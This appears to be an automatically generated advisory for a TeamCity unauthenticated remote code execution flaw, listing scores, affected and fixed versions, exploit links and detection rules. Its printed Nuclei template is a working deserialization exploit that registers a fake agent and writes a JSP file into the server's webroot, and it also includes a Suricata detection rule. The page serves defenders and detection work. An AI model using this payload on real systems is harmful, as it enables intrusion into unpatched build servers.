CVE-2026-63077: JetBrains TeamCity exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

In JetBrains TeamCity before 2026.1.3, 2025.11.7 unauthenticated remote code execution was possible via the agent polling protocol

Description quoted from the CVE record (assigned by JetBrains, published 2026-07-27).

Weakness: CWE-502

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2026-08-05
US federal deadline: 2026-08-08
Ransomware use: Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-11140, EUVD-2026-49369, GHSA-94gx-v738-fx9w

VEDAS cluster: VEDAS:BARNACLEBLUSH

Exploit Observer links 14 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (14)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Metasploit module: https://www.rapid7.com/db/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077/
Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2026/CVE-2026-63077.yaml
Code repository: https://github.com/0xcyp1337/cve-2026-63077
Code repository: https://github.com/anggatechi/cve-2026-63077
Code repository: https://github.com/bakos-sandor-nx/teamcity-cve-2026-63077-remediation
Code repository: https://github.com/basesixtythree/b63-poc-cve-2026-63077
Code repository: https://github.com/boredhackerblog/teamcity-cve-2026-63077-pcap
Code repository: https://github.com/sfewer-r7/cve-2026-63077
Code repository: https://github.com/unveiledhistory49/teamcity-cve-2026-63077-remediation
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-63077.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-63077.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-63077.rules
and 2 more

Research and write-ups (6)

Research or write-up: https://avleonov.com/2026/09/07/i149-about-remote-code-execution-teamcity-cve202663077-vulnerability
Research or write-up: https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077
Research or write-up: https://blog.jetbrains.com/teamcity/2026/08/cve-2026-63077-update
Research or write-up: https://blog.securelayer7.net/cve-2026-63077-teamcity-rce
Research or write-up: https://datarunk.com/runk-feed/cve-2026-63077-ransomware-teamcity
Research or write-up: https://ptsecurity.com/research/trending-vulnerabilities/CVE-2026-63077

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-49369
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-94gx-v738-fx9w
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-63077
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077

News (2)

72 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.936
very likely to be attacked soon
VEDAS: 0.989
strong exploit evidence
On CISA KEV: Yes, since 2026-08-05
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
JetBrains TeamCity	before 2026.1.3, 2025.11.7	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: jetbrains teamcity.

How to fix it

Fixed versions stated in the CVE record: 2026.1.3, 2025.11.7.

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

JetBrains TeamCity - Insecure Deserialization
In JetBrains TeamCity before 2026.1.3, 2025.11.7 unauthenticated remote code execution was possible via the agent polling protocol

Name and description quoted from the template, written by VEDAS.

The template sends 4 requests (GET /, POST /app/agents/v1/register, POST /app/agents/v1/commands/error, GET /pd-tp-{{randstr}}.jspws); it decides using dsl, regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-63077.yaml

Show the template (216 lines)

yaml

id: CVE-2026-63077

info:
  name: "JetBrains TeamCity - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    In JetBrains TeamCity before 2026.1.3, 2025.11.7 unauthenticated remote code execution was possible via the
    agent polling protocol
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-63077&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=jetbrains&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-63077
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev
flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "TeamCity", "teamcity", "JetBrains")'
        condition: and
        internal: true

  - raw:
      - |
        POST /app/agents/v1/register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <agentDetails agentName="ruqemf-{{randstr}}" agentAddress="127.0.0.1" agentPort="9090" authToken="ruqemf-{{randstr}}" pingCode="">
          <alternativeAddresses/>
          <availableRunners/>
          <availableVcs/>
          <buildParameters/>
          <configParameters/>
        </agentDetails>

    extractors:
      - type: regex
        name: session
        part: header
        group: 1
        regex:
          - '(?i)teamcity-agentsessionid: ([^\r\n]+)'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(to_lower(header), "teamcity-agentsessionid:")'
        condition: and
        internal: true

  - raw:
      - |
        POST /app/agents/v1/commands/error HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        TeamCity-AgentSessionId: {{session}}
        TeamCity-AgentCommandId: 123456

        <?xml version="1.0" encoding="UTF-8"?>
        <linked-hash-map>
          <entry>
            <string>n1</string>
            <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
              <outer-class>
                <myHSQLStorage>
                  <myDataSource>
                    <defaultTransactionIsolation>-1</defaultTransactionIsolation>
                    <cacheState>true</cacheState>
                    <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
                    <lifo>true</lifo>
                    <maxTotal>8</maxTotal>
                    <maxIdle>8</maxIdle>
                    <minIdle>0</minIdle>
                    <initialSize>0</initialSize>
                    <maxWaitMillis>-1</maxWaitMillis>
                    <poolPreparedStatements>false</poolPreparedStatements>
                    <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
                    <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
                    <testOnCreate>false</testOnCreate>
                    <testOnBorrow>true</testOnBorrow>
                    <testOnReturn>false</testOnReturn>
                    <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
                    <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
                    <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
                    <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
                    <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
                    <testWhileIdle>false</testWhileIdle>
                    <password/>
                    <url>jdbc:hsqldb:mem:ruqemf{{randstr}}</url>
                    <userName>SA</userName>
                    <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
                    <connectionInitSqls>
                      <string>CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000))</string>
                      <string>INSERT INTO TN{{randstr}} VALUES ('&lt;p&gt;&lt;%=7*6%&gt;&lt;/p&gt;PD-TP-CONFIRMED')</string>
                      <string>SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws'</string>
                    </connectionInitSqls>
                    <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
                    <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
                    <logExpiredConnections>true</logExpiredConnections>
                    <autoCommitOnReturn>true</autoCommitOnReturn>
                    <rollbackOnReturn>true</rollbackOnReturn>
                    <fastFailValidation>false</fastFailValidation>
                    <connectionProperties/>
                    <closed>false</closed>
                  </myDataSource>
                  <myStopped>false</myStopped>
                  <myDatabaseOpen>false</myDatabaseOpen>
                </myHSQLStorage>
              </outer-class>
            </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
          </entry>
          <entry>
            <string>n2</string>
            <freemarker.ext.beans.HashAdapter>
              <wrapper>
                <sharedIntrospectionLock/>
                <classIntrospector>
                  <exposureLevel>0</exposureLevel>
                  <exposeFields>false</exposeFields>
                  <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
                  <incompatibleImprovements>
                    <major>2</major>
                    <minor>3</minor>
                    <micro>0</micro>
                    <intValue>2003000</intValue>
                    <calculatedStringValue>2.3.0</calculatedStringValue>
                    <hashCode>0</hashCode>
                  </incompatibleImprovements>
                  <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
                  <shared>false</shared>
                  <sharedLock reference="../../sharedIntrospectionLock"/>
                  <cache/>
                  <cacheClassNames/>
                  <classIntrospectionsInProgress/>
                  <modelFactories/>
                  <clearingCounter>0</clearingCounter>
                </classIntrospector>
                <falseModel>
                  <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
                  <wrapper reference="../.."/>
                  <value>false</value>
                </falseModel>
                <writeProtected>false</writeProtected>
                <defaultDateType>0</defaultDateType>
                <methodsShadowItems>true</methodsShadowItems>
                <simpleMapWrapper>false</simpleMapWrapper>
                <strict>false</strict>
                <preferIndexedReadMethod>true</preferIndexedReadMethod>
                <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
              </wrapper>
              <model reference="../wrapper/falseModel"/>
            </freemarker.ext.beans.HashAdapter>
          </entry>
          <entry>
            <string>n3</string>
            <set>
              <org.apache.commons.collections.keyvalue.TiedMapEntry>
                <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
                <key class="string">connection</key>
              </org.apache.commons.collections.keyvalue.TiedMapEntry>
            </set>
          </entry>
        </linked-hash-map>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
        internal: true

  - raw:
      - |
        GET /pd-tp-{{randstr}}.jspws HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PD-TP-CONFIRMED"

      - type: word
        part: body
        words:
          - "<%=7*6%>"
        negative: true

      - type: status
        status:
          - 200

      - type: status
        status:
          - 200

CVE-2026-63077.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-63077 JetBrains TeamCity - Insecure Deserialization. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-63077 JetBrains TeamCity - Insecure Deserialization"; flow:established,to_server; http.uri; content:"commands"; nocase; http.request_body; content:"../../../"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-63077; reference:url,https://www.exploit.observer/?keyword=CVE-2026-63077&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=jetbrains&match=exact; sid:1011631; rev:1;)

CVE-2026-63077.rules on GitHub

Advisories on this CVE

JetBrains Cadence: breached via JetBrains’ own unpatched TeamCity (31 Aug 2026)

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077 (government-resource)

Other references

https://www.jetbrains.com/privacy-security/issues-fixed/

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.